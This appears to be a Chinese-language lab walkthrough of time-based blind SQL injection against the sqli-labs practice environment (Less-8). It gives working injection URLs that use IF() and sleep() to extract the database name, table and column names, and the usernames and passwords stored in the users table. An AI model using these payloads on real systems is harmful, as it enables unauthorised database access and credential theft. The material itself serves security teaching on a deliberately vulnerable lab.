1.首先了解一下在SQL中if语句的用法
IF( expr1 , expr2 , expr3 )
expr1 的值为 TRUE,则返回值为 expr2 expr2
的值为FALSE,则返回值为 expr3
结合sleep()可以构成基于时间盲注的SQL语句
http://172.16.32.128/sqli-labs-master/Less-8/?id=1' and if (substring(database(),1,1)='s',sleep(3),null) --+
该语句的意思为:如果数据库名的第一个字符等于字母s为真,则延时三秒后进行响应,如果为假,则不执行任何语句,这里的null可以写成任何对该语句没有影响的条件,例如写个1、2
2.修改判断位置,以此判断出数据库名的其他字符,直到整个数据库名全部取出
3.已知数据库名为security,查询数据库中的表
http://172.16.32.128/sqli-labs-master/Less-8/?id=1' and if (substring((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1)='e',sleep(3),null) --+
结合我在盲注一中讲述的内容,查出所有的表
4.已知数据库名security、数据表users,查询表中的字段
http://172.16.32.128/sqli-labs-master/Less-8/?id=1' and if (substring((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,1)='i',sleep(3),null) --+
5.已知数据库名security、数据表users,users表中username、password字段,查询字段中的内容
http://172.16.32.128/sqli-labs-master/Less-8/?id=1' and if (substring((select group_concat(username,'^',password) from security.users),1,1)='d',sleep(3),null) --+
至此基于时间延时盲注入完成,关于密码大小写敏感的方法已经在我布尔盲注入一中提到
提示:
判断是否能使用延时注入的方法是将sleep()带入注入点,看能否被执行,执行一下语句,如果存在延时注入,页面将会延迟五秒响应
http://172.16.32.128/sqli-labs-master/Less-8/?id=1' and sleep(5) --+